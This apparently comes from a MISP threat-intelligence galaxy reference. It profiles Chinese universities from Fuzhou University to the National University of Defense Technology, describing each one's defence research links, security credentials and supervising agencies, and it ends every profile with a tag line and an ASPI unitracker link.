Fuzhou University (福州大学)

Fuzhou University is overseen by the Fujian Provincial Government and a focus on engineering disciplines. It does not appear to engage in significant levels of defence research. However, the Fuzhou University Military-Civil Fusion Innovation Research Institute (福州大学军民融合创新研究院) was jointly established in 2016 by Fuzhou University along with a number defence companies and military research institutions under the guidance of Fujian Provincial Government’s National Defence Industry Office (省国防科工办). Furthermore, the Fujian Provincial People’s Government and SASTIND entered an agreement to jointly develop the university as part of China’s military-civil fusion initiative in 2018. This indicates that the university will expand its involvement in defence research. The university has held second-class weapons R&D secrecy credentials since 2006.

The tag is: misp-galaxy:china-defence-universities="Fuzhou University (福州大学)"

Table 615. Table References
Links
https://unitracker.aspi.org.au/universities/fuzhou-university

Guilin University of Electronic Science and Technology (桂林电子科技大学)

GUET specialises in electronics, communications and computer science. It engages in growing levels of defence research, indicated by the decision to place it under the joint administration of the defence industry agency SASTIND and the Guangxi Provincial Government in 2018.The PLA describes GUET as ‘Guangxi Province’s only university to have long carried out defence research.’ Areas of defence research at the university include communications technology, materials science, signals processing, microwaves, satellite navigation, and command and control. Since 2007, the university has held secret-level security credentials, enabling it to participate in classified weapons and defence technology projects.

The tag is: misp-galaxy:china-defence-universities="Guilin University of Electronic Science and Technology (桂林电子科技大学)"

Table 616. Table References
Links
https://unitracker.aspi.org.au/universities/guilin-university-of-electronic-science-and-technology

Hangzhou Dianzi University (杭州电子科技大学)

HDU specialises in information technology and has been jointly supervised by the Zhejiang Provincial Government and defence industry agency SASTIND since 2007. The university is Zhejiang Province’s only provincial-level higher education institution to have officially designated national defence disciplines.HDU’s leadership is closely integrated with its defence research. Since its creation in 2008, the university’s main defence laboratory has been run by Xue Anke, who was the university’s president until 2017. While president, Xue served on an expert advisory committee to the PLA on information technology. He is also a member of the Zhejiang Provincial Expert Committee on Artificial Intelligence Development.Key areas of defence research at HDU include electronics, artificial intelligence, military-use software, and communications and information systems. HDU has been expanding its research on artificial intelligence, establishing a school of artificial intelligence and an artificial intelligence research institute in 2018.HDU holds secret-level security credentials, allowing it to undertake classified weapons and defence technology projects. In 2011, the Zhejiang State Secrets Bureau established a State Secrets Academy in HDU. The academy, one of twelve in the country, trains personnel in managing and protecting confidential information.

The tag is: misp-galaxy:china-defence-universities="Hangzhou Dianzi University (杭州电子科技大学)"

Table 617. Table References
Links
https://unitracker.aspi.org.au/universities/hangzhou-dianzi-university

Hangzhou Normal University (杭州师范大学)

Hangzhou Normal University is a Chinese university subordinate to the Zhejiang Provincial Government. The university was initially established in 1978 as Hangzhou Normal College (杭州师范学院) to focus on teacher training, art education as well as research in the humanities and natural sciences. Hangzhou Normal University retains this broad academic focus and oversees faculties such as the Alibaba Business School (阿里巴巴商学院).Hangzhou Normal University collaborates with China’s MPS on the development of surveillance technology. In March 2019, the university entered into an agreement with the Zhejiang Police College, the Zhejiang Public Security Office, and Hikvision—China’s leading producer of video surveillance technology—to establish a joint laboratory. The joint laboratory reportedly focuses on applying big data analysis, cloud computing and internet of things technology to improve China’s policing capability.

The tag is: misp-galaxy:china-defence-universities="Hangzhou Normal University (杭州师范大学)"

Table 618. Table References
Links
https://unitracker.aspi.org.au/universities/hangzhou-normal-university

Harbin Engineering University (哈尔滨工程大学)

HEU is one of China’s top defence research universities. The university is a leading centre of research and training on shipbuilding, naval armaments, maritime technology and nuclear power. 36.46% of the university’s 2017 graduates who found employment were working in the defence sector.As one of the group of universities subordinate to the Ministry of Industry and Information Technology (MIIT) known as the ‘Seven Sons of National Defence’ (国防七子), HEU is an integral part of China’s defence industry. HEU’s achievements include producing China’s first experimental submarine, ship-based computer, and hovercraft. The university claims to have participated in most of the PLA Navy’s submarine, undersea weapon, and warship projects.HIT’s role in the defence industry is highlighted by its formal affiliation with the PLA Navy, which became a supervising agency of the university in 2007. Under the supervisory agreement, the PLA Navy committed to developing HEU’s capacity as a platform for research and development in military technology and for training defence personnel. The following year, HEU established a Defence Education Institute to train reserve officers. Since then, the institute has trained at least 1,700 officers. HEU also maintains a joint laboratory with the PLA Navy Coatings Analysis and Detection Center.HEU is an important hub research on nuclear engineering, including on nuclear submarines. In 2018, it signed a co-construction agreement with defence conglomerate China National Nuclear Corporation (CNNC). In 2019, HEU and CNNC established the China Nuclear Industry Safety and Simulation Technology Research Institute. HEU also runs a joint laboratory on energetic materials (such as explosives) with the Chinese Academy of Engineering Physics, China’s nuclear warhead research organisation.

The tag is: misp-galaxy:china-defence-universities="Harbin Engineering University (哈尔滨工程大学)"

Table 619. Table References
Links
https://unitracker.aspi.org.au/universities/harbin-engineering-university

Harbin Institute of Technology (哈尔滨工业大学)

HIT is one of China’s top defence research universities. As one of seven universities run by MIIT, it is known as one of the ‘Seven Sons of National Defence’ (国防七子). The Seven Sons of National Defence all have close relationships with the Chinese military and are core training and research facilities for China’s defence industry. In 2018, HIT spent RMB1.97 billion (AUD400 million)—more than half of its research budget—on defence research. 29.96% of the university’s graduates that year who found employment were working in the defence sector.HIT has been described by Chinese state media as having ‘defence technology innovation and weapons and armaments modernisation as its core’. It excels in satellite technology, robotics, advanced materials and manufacturing technology, and information technology. Other areas of defence research at HIT include nuclear technology, nuclear combustion, nuclear power engineering and electronic propulsion and thruster technology, many of which are officially designated as skill shortage areas for the Chinese defence industry.HIT is best known for its aerospace research and has a close relationship with China Aerospace Science and Technology Corporation (CASC), a state-owned defence company that specialises in long-range ballistic missile and satellite technology. Since 2008, HIT and CASC have operated a joint research centre. Defence conglomerates CASC, CASIC, AVIC and CETC rank among the top employers of HIT graduates. The university is a major source of cyber talent and receives funding for information security research from the MSS, China’s civilian intelligence agency. A report prepared for the US–China Security and Economic Review Commission identified it as one of four universities focused on research with applications in information warfare. In 2003, HIT founded its Information Countermeasures Technology Research Institute (哈尔滨工业大学信息对抗技术研究所).

The tag is: misp-galaxy:china-defence-universities="Harbin Institute of Technology (哈尔滨工业大学)"

Table 620. Table References
Links
https://unitracker.aspi.org.au/universities/harbin-institute-of-technology

Harbin University of Science and Technology (哈尔滨理工大学)

HRBUST focuses on engineering, science, economics, management, philosophy, literature, law and education. In 2015, it was placed under the joint supervision of the Heilongjiang Provincial Government and SASTIND, which is an arrangement designed to develop the university’s involvement in defence-related research and training.HRBUST’s relationship with SASTIND indicates that it will continue expanding its role in defence research. Currently, the university has at least four designated national defense disciplines and plans to build a national defense key laboratory. It holds secret-level security credentials.

The tag is: misp-galaxy:china-defence-universities="Harbin University of Science and Technology (哈尔滨理工大学)"

Table 621. Table References
Links
https://unitracker.aspi.org.au/universities/harbin-university-of-science-and-technology

Hebei University (河北大学)

Hebei University is Hebei Province’s only comprehensive university. The university subordinate to the Ministry of Education and also supervised by the Hebei Provincial Government and defence industry agency SASTIND. Its supervision by SASTIND, which began in 2013, is designed to support the university in ‘strengthening its national defence characteristics’.HBU appears to be relatively secretive about its defence research. In 2017, SASTIND designated an area of research at the university’s College of Physics Science and Technology as a ‘discipline with defence characteristics’. An article about this on the university’s news site has been taken down and deliberately did not specify the discipline. However, a speech given by the head of the college named military-use power and energy as HBU’s only defence discipline. The university holds secret-level security credentials, allowing it to participate in classified defence technology projects.In 2017, HBU held a forum on military-civil fusion for technology and innovation to ‘uncover the university’s potential for defence-industry technological research’ and encourage greater integration with defence companies.

The tag is: misp-galaxy:china-defence-universities="Hebei University (河北大学)"

Table 622. Table References
Links
https://unitracker.aspi.org.au/universities/hebei-university

Hebei University of Science and Technology (河北科技大学)

HEBUST engages in moderate but growing levels of defence research. It has been supervised by defence industry agency SASTIND since 2013, when SASTIND and the Hebei Provincial Government agreed to jointly develop the university’s involvement in defence research. By 2017, the university claimed to have completed 300 defence projects. The university holds secret-level security credentials, allowing it to participate in classified defence technology projects.While the university does not appear to have any dedicated defence laboratories, it has described five of its laboratories as platforms for defence research. Areas of materials science, mechanical engineering and control science at HEBUST have been designated ‘disciplines with national defence charcteristics’ by SASTIND. HEBUST may also be pursuing greater integration between China’s defence needs and the university’s research on textiles engineering and biological fermentation.HEBUST states that is has developed close cooperation with China Electronics Technology Group Corporation’s 54th Research Institute, an organization blacklisted by the US Government Entity List. Defence industry conglomerate Aviation Industry Corporation of China also funds research at the university.

The tag is: misp-galaxy:china-defence-universities="Hebei University of Science and Technology (河北科技大学)"

Table 623. Table References
Links
https://unitracker.aspi.org.au/universities/hebei-university-of-science-and-technology

Hefei University of Technology (合肥工业大学)

HFUT a leading Chinese university subordinate to the Ministry of Education. It specialises in engineering and engages in growing levels of defence research, particularly in the fields of advanced materials, smart manufacturing and electronic information. As of 2018, HFUT was the only civilian university in Anhui Province fully certified to carry out military projects, holding secret-level security credentials, and had undertaken over 200 such projects.In 2018, the university came under a ‘joint-construction’ agreement between the Ministry of Education and defence industry agency SASTIND. According to HFUT, this agreement ‘will powerfully advance the university’s development of national defence disciplines, training of talent for defence industry, and construction of defence industry and national defence research platforms.’Miao Wei, head of the Ministry of Industry and Information Technology, which oversees China’s defence industry, is a graduate of HFUT.

The tag is: misp-galaxy:china-defence-universities="Hefei University of Technology (合肥工业大学)"

Table 624. Table References
Links
https://unitracker.aspi.org.au/universities/hefei-university-of-technology

Heilongjiang Institute of Technology (黑龙江工程学院)

HLJIT is an engineering-focused university that engages in growing levels of defence research. In 2015, the Heilongjiang Provincial Government partnered with defence industry agency SASTIND to expand the university’s ability to ‘show its national defence characteristics and serve the national defence science and technology industry.’SASTIND has designated military-use power and energy, optoelectronics and laser technology, and computing as three ‘disciplines with national defence characteristics’ at HLJIT. In June 2016, HLJIT and ZTE jointly launched an MOE-ZTE ICT Product-Teaching Integration Innovation Base (教育部-中兴通讯ICT产教融合创新基地) and established the Heilongjiang School of Engineering-ZTE Information and Communications Technology College (黑龙江工程学院-中兴信息通信技术学院). ZTE has been reportedly barred from US government contracts.As it increases its implementation of military-civil fusion, HLJIT has developed relationships with defence conglomerates. The university is particularly close to China Aerospace Science and Technology Corporation (CASC), a leading state-owned manufacturer of long-range missiles and satellites. In 2017, HLJIT partnered with a subsidiary of CASC to establish a joint research centre, the Aerospace Smart City Research Institute. The subsidiary, Aerospace Shenzhou Smart System Technology Co., Ltd. (航天神舟智慧系统技术有限公司), specialises in smart city and informatization technology.HLJIT holds confidential-level security credentials, allowing it to participate in confidential defence technology projects.

The tag is: misp-galaxy:china-defence-universities="Heilongjiang Institute of Technology (黑龙江工程学院)"

Table 625. Table References
Links
https://unitracker.aspi.org.au/universities/heilongjiang-institute-of-technology

Heilongjiang University (黑龙江大学)

HLJU is supervised by the Ministry of Education, the Heilongjiang Provincial Government and SASTIND. SASTIND’s supervision of the university is designed to promote its integration with China’s defence technology goals. In 2016, the year after HLJU came under SASTIND’s supervision, the university received third-class security credentials and funding for a national defence technology research project for the first time. Third-class security credentials allow the university to participate in confidential defence research projects. By 2018, HLJU claimed to have received RMB13 million (AUD2.7 million) in defence research funding.HLJU has close ties with Russian universities and is best known for its work in the Chemistry, Chemical Engineering and Materials Department, which entered the top 1 percent of ESI’s global rankings.

The tag is: misp-galaxy:china-defence-universities="Heilongjiang University (黑龙江大学)"

Table 626. Table References
Links
https://unitracker.aspi.org.au/universities/heilongjiang-university

Henan University of Science and Technology (河南科技大学)

HAUST is Henan province’s leading civilian university for defence research. In 2008, it became the first university in the province to receive security credentials allowing it to participate in classified weapons projects. In 2016, it became the province’s only university subject to a ‘joint-construction’ agreement with defence industry agency SASTIND, an arrangement designed to increase HAUST’s involvement in defence research. As early as 2009, the university stated that it had made great contributions to the defence and aviation industries, undertaking large amounts of defence research projects.HAUST describes itself as China’s primary university for research and training for the mechanical bearings (such as ball bearings) industry. SASTIND has designated three areas of research at the university as ‘disciplines with defence characteristics’, covering systems engineering, materials science and mechanics. The university is actively involved in military-civil fusion activities.The university claims to have made important contributions to the development of bearings for aircraft engines, satellites, and spacecraft. It states that it has resolved critical technological problems for specific weapons guidance systems, ballistic missile testing systems and an infrared targeting and interference emulation system that are probably used to test guided missiles.

The tag is: misp-galaxy:china-defence-universities="Henan University of Science and Technology (河南科技大学)"

Table 627. Table References
Links
https://unitracker.aspi.org.au/universities/henan-university-of-science-and-technology

Huazhong University of Science and Technology (华中科技大学)

HUST is one of China’s leading research institutions. While the university is subordinate to the Ministry of Education, it has also been supervised by the State Administration of Science, Technology and Industry for National Defense since 2012.The university hosts at least six laboratories dedicated to defence research. Its National Defence Research Institute reportedly oversees defence research in seven other HUST research centres. Artificial intelligence, shipbuilding, image processing, navigation technology, mechanical engineering, electronics, materials science and laser physics are focuses of HUST’s defence research.HUST has worked closely with the PLA and China’s defence industry. This collaboration includes the development artificial intelligence and imaging technology for weapons. The university’s work on pulsed power is linked to China’s nuclear and directed-energy weapons program. China’s state-owned defence conglomerates and China’s nuclear warhead facility sponsor dozens of HUST postgraduate students each year, who are required to work at their sponsoring organisation for at least five years after graduating.HUST holds secret-level security credentials, allowing it participate in research and production for classified weapons and defence projects.

The tag is: misp-galaxy:china-defence-universities="Huazhong University of Science and Technology (华中科技大学)"

Table 628. Table References
Links
https://unitracker.aspi.org.au/universities/huazhong-university-of-science-and-technology

Hunan University (湖南大学)

HNU is a leading Chinese university subordinate to the Ministry of Education. In recent years, its participation in defence research appears to have grown substantially. In 2010, it established the National Supercomputer Center in Changsha jointly with the PLA National University of Defense Technology, which has since been placed on the US Government Entity List for its suspected role in nuclear weapons research.In 2011, China’s defence industry agency, SASTIND, entered a partnership with the MOE to expand the university’s participation in defence research and defence industry ties. This arrangement was renewed in 2016. In 2013, SASTIND and the Hunan Provincial Government also signed an agreement to jointly support the development of the university’s National Supercomputer Center.HNU holds secret-level security credentials, enabling it to participate in research and production for weapons and other defence projects.

The tag is: misp-galaxy:china-defence-universities="Hunan University (湖南大学)"

Table 629. Table References
Links
https://unitracker.aspi.org.au/universities/hunan-university

Hunan University of Science and Technology (湖南科技大学)

HNUST is an engineering-focused university founded in 2003. In 2016, it was subject to a ‘joint-construction’ agreement between the Hunan Provincial Government and defence industry agency SASTIND, an arrangement designed to develop the university’s involvement in defense-related research and training. The university has three designated defence research areas, is involved in weapons research, and has confidential-level security credentials.HNUST is home to two national defence key laboratories, one of which is in the School of Materials Science and Engineering. The university has also established its Intelligent Manufacturing Institute, which evolved from a provincial key laboratory and has connections to the Made in China 2025 strategy.HNUST is also linked to state-owned arms manufacturer Norinco Group. In 2018, it signed a strategic cooperation agreement with arms manufacturer Norinco’s National Defence Key Laboratory on Light Weapons Terminal Lethality Technology (轻武器终点杀伤技术国防科技重点实验 aka 瞬态冲击技术国防科技重点实验室).

The tag is: misp-galaxy:china-defence-universities="Hunan University of Science and Technology (湖南科技大学)"

Table 630. Table References
Links
https://unitracker.aspi.org.au/universities/hunan-university-of-science-and-technology

Information Engineering University (中国人民解放军信息工程大学)

IEU was formed in June 2017, combining the old Information Engineering University with the PLA Foreign Languages University. PLA experts have described IEU as ‘the sole military academy for the cyber and electronic warfare arms of China’s network-electronic forces’.The IEU is currently subordinate to the PLA Strategic Support Force’s Network Systems Department, which holds the military’s signals intelligence capabilities. Previously, the university was run by the General Staff Department Third Department (commonly known as 3PLA), the PLA’s signals intelligence service that has been incorporated into the Strategic Support Force. IEU’s command tracks include Network Engineering (网络工程), which is dedicated to the cultivation of cyber attack and defense technical cadre (网络攻防技术干部). It is responsible for the construction of the Henan Provincial Laboratory of Visible Light Communication (河南省可见光通信重点实验室).The university is primarily known for research and training on hacking, cryptography, signals processing, surveying and mapping, and navigation technology. However, since absorbing the PLA Foreign Languages University, it now serves as one of the most important language schools for Chinese military intelligence officers, describing itself as a ‘whole-military foreign languages training base for individuals going abroad’. While the PLA Foreign Languages University is best known for training signals intelligence officers, it has also trained many officers in the PLA’s political warfare wing, the Central Military Commission Political Work Department Liaison Bureau.

The tag is: misp-galaxy:china-defence-universities="Information Engineering University (中国人民解放军信息工程大学)"

Table 631. Table References
Links
https://unitracker.aspi.org.au/universities/information-engineering-university-2

Institute of NBC Defense (陆军防化学院)

The Institute of NBC Defense is the PLA’s premier institution devoted to training junior, mid-career and senior officers on technology related to defence against nuclear, biological and chemical weapons. Most scientific research tends to focus on radiation protection and nuclear safety.

The tag is: misp-galaxy:china-defence-universities="Institute of NBC Defense (陆军防化学院)"

Table 632. Table References
Links
https://unitracker.aspi.org.au/universities/institute-of-nbc-defense

Jiangnan Social University (江南社会学院)

JSU trains intelligence officers in tradecraft and carries out research on intelligence and security. The university first opened in 1986 with over 600 students and staff. Since 1999, it has run the Journal of Jiangnan Social University, which publishes research on international security, strategy and politics. Satellite and streetview imagery from Google Maps and Baidu appears to show a shooting range at the southern end of its campus.

The tag is: misp-galaxy:china-defence-universities="Jiangnan Social University (江南社会学院)"

Table 633. Table References
Links
https://unitracker.aspi.org.au/universities/jiangnan-social-university

Jiangsu University of Science and Technology (江苏科技大学)

JUST engages in high levels of defence research. With a focus on research relevant to the PLA Navy, JUST is supervised by the China State Shipbuilding Corporation and the China Shipbuilding Industry Corporation, China’s leading defence shipbuilding conglomerates. In 2002, JUST was one of eight universities jointly supervised by defence industry agency COSTIND and a provincial government. In 2016, its was the subject of an agreement between the Jiangsu Provincial Government and defence industry agency SASTIND to expand its role in defence research.JUST scientists have been involved in nuclear submarine, unmanned submersible and aircraft carrier projects. The university holds secret-level security credentials, allowing it to participate in classified defence technology projects.Faculties at the university involved in defence research include the School of Naval Architecture and Ocean Engineering and the School of Energy and Propulsion.

The tag is: misp-galaxy:china-defence-universities="Jiangsu University of Science and Technology (江苏科技大学)"

Table 634. Table References
Links
https://unitracker.aspi.org.au/universities/jiangsu

Jilin University (吉林大学)

JLU is directly under the administration of the Ministry of Education and came under the joint supervision of the ministry and defence industry agency SASTIND in 2016. In 2017, SASTIND designated eight fields of research at JLU as national defence disciplines, indicating the university carries out high levels of defence research. In 2012, JLU spent roughly RMB60 million (AUD12.5 million) on defence research, a number that is likely to have grown substantially.JLU’s National Defense Science and Technology Research Institute, also known as the Advanced Technology Research Institute, was established in April 2006 and is responsible for the organization and management of the university’s national defence science and technology projects. The research institute has received several certifications to conduct research for military applications. It conducts research in collaboration with the former PLA General Armaments Department, SASTIND, and state-owned defence conglomerates in the fields of aviation, aerospace, electronics, nuclear technology, and shipbuilding.JLU’s State Key Laboratory of Superhard Materials (超硬材料国家重点实验室) works closely with China’s nuclear weapons complex, the Chinese Academy of Engineering Physics (CAEP). Job advertisements for a CAEP subsidiary, the Center for High Pressure Science & Technology Advanced Research (北京高压科学研究中心) state that it has a branch within Jilin University. This suggests that CAEP may even be involved in managing the State Key Laboratory of Superhard Materials.The university hosts at least two defence research labs, located in the university’s College of Computer Science and Technology and in the College of Chemistry. Its Key Laboratory of Attack and Defense Simulation Technology for Naval Warfare, Ministry of Education (海战场攻防对抗仿真技术教育部重点实验室（B类）) is involved in cybersecurity research for the Navy. The lab’s academic committee is headed by a computer scientist from China Aerospace Science and Technology Corporation, a leading state-owned missile manufacturer.JLU holds secret-level security credentials, allowing it to participate in research and production for classified weapons and defence technology projects.

The tag is: misp-galaxy:china-defence-universities="Jilin University (吉林大学)"

Table 635. Table References
Links
https://unitracker.aspi.org.au/universities/jilin-university

Kunming University of Science and Technology (昆明理工大学)

Kunming University of Science and Technology appears to engage in low levels of defence research, but its involvement in defence research is likely to grow. In 2017, Kunming University of Science and Technology signed an agreement with Yunnan’s defence technology bureau to deepen military-civil fusion. In 2018, the Yunnan Provincial Government and defence industry agency SASTIND signed an agreement to jointly construct KMUST. The agreement is designed to increase the university’s involvement in defence research.KMUST carries out high levels of research on metallurgy. It is involved in defence research related to China’s aviation industry, and collaborates with defence shipbuilding conglomerate CSIC on vibration and noise research.

The tag is: misp-galaxy:china-defence-universities="Kunming University of Science and Technology (昆明理工大学)"

Table 636. Table References
Links
https://unitracker.aspi.org.au/universities/kunming-university-of-science-and-technology

Lanzhou University (兰州大学)

LZU’s involvement in defence research has slowly grown over the past decade. In 2018, it spent over RMB50 million (AUD10 million) on defence projects.LZU is subordinate to the Ministry of Education. Since 2018, it has also been supervised by defence industry agency SASTIND in an arrangement designed to further expand the university’s defence research and the defence industry relationships.LZU carries out national defence-related research in areas such as nuclear science, electromagnetism, probes, chemistry, mechanics, materials science, stealth technology and information technology.In 2017 and 2018, LZU signed strategic agreements with state-owned defence companies Norinco Group, China’s largest arms manufacturer, and China National Nuclear Corporation. Several defence companies, as well as China’s nuclear weapons program, provide scholarships for dozens of LZU postgraduate students each year. In return, these students must work for their sponsoring organisation for five years after graduation.In 2005, LZU received secret-level security credentials that allow it to participate in classified weapons projects.

The tag is: misp-galaxy:china-defence-universities="Lanzhou University (兰州大学)"

Table 637. Table References
Links
https://unitracker.aspi.org.au/universities/lanzhou-university

Lanzhou University of Technology (兰州理工大学)

The tag is: misp-galaxy:china-defence-universities="Lanzhou University of Technology (兰州理工大学)"

Table 638. Table References
Links
https://unitracker.aspi.org.au/universities/lanzhou-university-of-technology

Logistics University of the People’s Armed Police Force (中国人民武装警察部队后勤学院)

The Logistics University of the People’s Armed Police Force is an institution devoted to training personnel in logistics for China’s paramilitary service, the People’s Armed Police. The university teaches subjects in applied economics, military logistics studies, paramilitary logistics, applied psychology, as well as communications and transportation engineering.The Logistics University of the People’s Armed Police Force actively collaborates with private institutions and civilian universities on scientific research. For example, the university collaborated with Nankai University (南开大学) and the Tianjin Eminent Electric Cell Material Company (天津爱敏特电池材料有限公司) on high performance lithium and sodium ion materials in 2018. The university also collaborated with the Tianjin Polytechnic University (天津工业大学) on intelligence, wearable technology that monitors heart rates for both military and civilian personnel.

The tag is: misp-galaxy:china-defence-universities="Logistics University of the People’s Armed Police Force (中国人民武装警察部队后勤学院)"

Table 639. Table References
Links
https://unitracker.aspi.org.au/universities/logistics-university-of-the-peoples-armed-police-force

Nanchang Hangkong University (南昌航空大学)

NCHU engages in high levels of defence research relevant to the aviation industry. In 2017, the Ministry of Education designated it a ‘school with national defence education characteristics’, and 30% of graduates go to work in the defence industry or civilian aviation companies. The university has been supervised by defence industry agency SASTIND since 2010. It holds secret-level security credentials.Five fields of research at NCHU are designated ‘national defence key disciplines’: precision forming and joining technology, component quality testing and control, testing and measurement technology and instruments, optoelectric and laser technology, and military-use critical materials. The university hosts at least three laboratories focused on defence research.NCHU is particularly close to AVIC, the Chinese military’s aircraft manufacturing company. In particular, AVIC subsidiary Hongdu Aviation Industry Group (洪都航空工业集团) is based in Nanchang and has frequent exchanges with NCHU.

The tag is: misp-galaxy:china-defence-universities="Nanchang Hangkong University (南昌航空大学)"

Table 640. Table References
Links
https://unitracker.aspi.org.au/universities/nanchang-hangkong-university

Nanchang University (南昌大学)

NCU engages in low levels of defence research. It holds secret-level security credentials, allowing it to carry out classified defence research. In 2006, it established a defence research institute together with five provincial defence industry companies. Based on affiliated staff members, the institute may be focused on mechanical engineering.The university was added to the US Government Unverified List in 2018. Entities are added the Unverified List if the US Government is unable to satisfactorily carry out end-user checks on them to ensure compliance with export licenses.

The tag is: misp-galaxy:china-defence-universities="Nanchang University (南昌大学)"

Table 641. Table References
Links
https://unitracker.aspi.org.au/universities/nanchang-university

Nanjing Army Command College (南京陆军指挥学院)

The Nanjing Army Command College is an institute devoted to training mid-career staff officers in preparation for command the PLA Ground Force. Disciplines of focus for the college include joint campaign tactics, warfighting command, military training and combat simulations.

The tag is: misp-galaxy:china-defence-universities="Nanjing Army Command College (南京陆军指挥学院)"

Table 642. Table References
Links
https://unitracker.aspi.org.au/universities/nanjing-army-command-college

Nanjing Institute of Information Technology (南京信息技术研究院)

The tag is: misp-galaxy:china-defence-universities="Nanjing Institute of Information Technology (南京信息技术研究院)"

Table 643. Table References
Links
https://unitracker.aspi.org.au/universities/nanjing-institute-of-information-technology

Nanjing Normal University (南京师范大学)

Nanjing Normal University is a leading Chinese university supervised by the Ministry of Education and Jiangsu Provincial Government. The university has strengths in geospatial technology, big data and artificial intelligence.Nanjing Normal University has close ties to the Ministry of Public Security. In 2014, the university established the Ministry of Public Security Key Laboratory for Police Geospatial Information Technology (警用地理信息技术公安部重点实验室), which researches applications of geospatial information technology for policing purposes. Nanjing Normal University has also entered into an agreement with the Nanjing Municipal Public Security Bureau, establishing the ‘Video GIS Technology Laboratory’ (视频GIS技术实验室) in April 2012.Nanjing Normal University has a close relationship with the regional government in Xinjiang, where over 1 million Uyghurs and Kazakhs are currently held in internment camps. In 2015, the university entered into an agreement with the Xinjiang Uyghur Autonomous Government and the Jiangsu Municipal Government to support the development of Yili Normal University.

The tag is: misp-galaxy:china-defence-universities="Nanjing Normal University (南京师范大学)"

Table 644. Table References
Links
https://unitracker.aspi.org.au/universities/nanjing-normal-university

Nanjing Tech University (南京工业大学)

In 2016, NJTech came under the joint supervision of the Jiangsu Provincial Government and defence industry agency SASTIND, which is an arrangement designed to develop the university’s involvement in defense-related research and training. The university has four designated defence research areas and secret-level security credentials, allowing it to undertake classified defence technology projects.NJTech is expanding its defence research on materials science, chemistry, optical engineering and systems engineering. In 2018, the university established a Military-Civil Fusion Development Research Institute to deepen its implementation of military-civil fusion. NJTech has a Defence Industry Science Office (军工科研办公室) within its Depart of Scientific of Research. This office is responsible for the university’s defence-related research and coordination. NJTTech’s School of Materials Science and Engineering (材料科学与工程学院) has previously worked on defence-related projects.The university has international ties with universities in England that focus on electronics and semiconductors. It has also established a joint research center with Russian universities for advanced technology R&D.

The tag is: misp-galaxy:china-defence-universities="Nanjing Tech University (南京工业大学)"

Table 645. Table References
Links
https://unitracker.aspi.org.au/universities/nanjing-tech-university

Nanjing University (南京大学)

NJU is subordinate to the MOE and has also been supervised by defence industry agency SASTIND since 2012. In 2016, the university was selected as a participant in the first batch of national dual-use demonstration bases, and a year later in 2017 was selected as a Class A world-class university. NJU is home to at least two defence laboratories and has committed to deepening its involvement in military-civilian fusion. As the first university in China to establish a State Secrecy Academy, in 2009, Nanjing University is involved in cyber security research.In 2018, NJU established an Institute of Artificial Intelligence and reported its research progress to the Jiangsu Provincial Committee of Military-Civilian Fusion when they visited the university. Following the visit, the provincial committee expressed interest in deepening cooperation on MCF projects in order to promote Jiangsu’s MCF work. The Institute of AI also co-built a research center with Intel, the Intel-Nanjing University Artificial Intelligence Research Center, which is Intel’s first research center focusing on AI in China. The university’s rapidly developing AI Institute provides an opportunity for deepening its involvement in MCF R&D. In May 2018, NJU signed a strategic cooperation agreement with Megvii 旷视科技. Megvii has been blacklisted by the US government over human rights abuses.

The tag is: misp-galaxy:china-defence-universities="Nanjing University (南京大学)"

Table 646. Table References
Links
https://unitracker.aspi.org.au/universities/nanjing-university

Nanjing University of Aeronautics and Astronautics (南京航空航天大学)

NUAA is one of the ‘Seven Sons of National Defence’ subordinate to the Ministry of Industry and Information Technology. NUAA specialises in aerospace research and works closely with the Chinese military as well as civilian and military aviation companies, including military aircraft manufacturers AVIC and AECC. 21% of the university’s graduates in 2018 who found employment were working in the defence sector.The university claims to have participated in nearly all major national aviation projects, including the development of the Chang’e 3 unmanned lunar explorer. NUAA hosts China’s only national defence laboratory for helicopter technology.NUAA has attracted controversy for its alleged involvement in the Ministry of State Security’s efforts to steal US aviation technology.

The tag is: misp-galaxy:china-defence-universities="Nanjing University of Aeronautics and Astronautics (南京航空航天大学)"

Table 647. Table References
Links
https://unitracker.aspi.org.au/universities/nanjing-university-of-aeronautics-and-astronautics

Nanjing University of Posts and Telecommunications (南京邮电大学)

NJUPT was initially ‘one of the earliest institutions devoted to training communications personnel for the Chinese Communist Party and red army’. Since then, NJUPT has evolved from a training college to a civilian university that offers undergraduate, post-graduate and doctoral degrees in various communications and engineering disciplines.NJUPT holds secret-level security credentials, allowing it to participate in classified defence research projects.Key areas of research include at the university:

The tag is: misp-galaxy:china-defence-universities="Nanjing University of Posts and Telecommunications (南京邮电大学)"

Table 648. Table References
Links
https://unitracker.aspi.org.au/universities/nanjing-university-of-posts-and-telecommunications

Nanjing University of Science and Technology (南京理工大学)

NJUST is one of the ‘Seven Sons of National Defence’ administered by the Ministry of Industry and Information Technology. Together with Beijing Institute of Technology, it was ranked as China’s top university for armaments science in 2017. Roughly 16% of the university’s graduates in 2018 who found employment were working in the defence sector.NJUST is a member of the B8 Cooperation Innovation Alliance (B8协同创新联盟 or 中国兵器协同创新联盟), a group of eight Chinese research institutions specialising in weapons science—the ‘B’ in ‘B8’ stands for Chinese word for armaments, bingqi (兵器). Indicative of the university’s high level of involvement in defence research, in 2013 a disused laboratory on its campus exploded, killing one, after workers disturbed a cache of explosives.NJUST has a collaborative relationship with a PLA signals intelligence research institute, involving cooperation on unmanned combat platforms and information security.

The tag is: misp-galaxy:china-defence-universities="Nanjing University of Science and Technology (南京理工大学)"

Table 649. Table References
Links
https://unitracker.aspi.org.au/universities/nanjing-university-of-science-and-technology

National Defense University (中国人民解放军国防大学)

NDU is the PLA’s ‘premier’ institution for training in military theory, strategy, operations and political work, which can have its history traced back to the era of Mao Zedong’s peasant-led red army in 1927.The university is devoted to training the PLA’s officer corps in preparation for senior leadership positions. Given this focus on the softer skills of PLA administration, the National Defense University does not have as strong a focus on hard science as its counterpart, the National University of Defense Technology.

The tag is: misp-galaxy:china-defence-universities="National Defense University (中国人民解放军国防大学)"

Table 650. Table References
Links
https://unitracker.aspi.org.au/universities/national-defense-university

National University of Defense Technology (中国人民解放军国防科技大学)

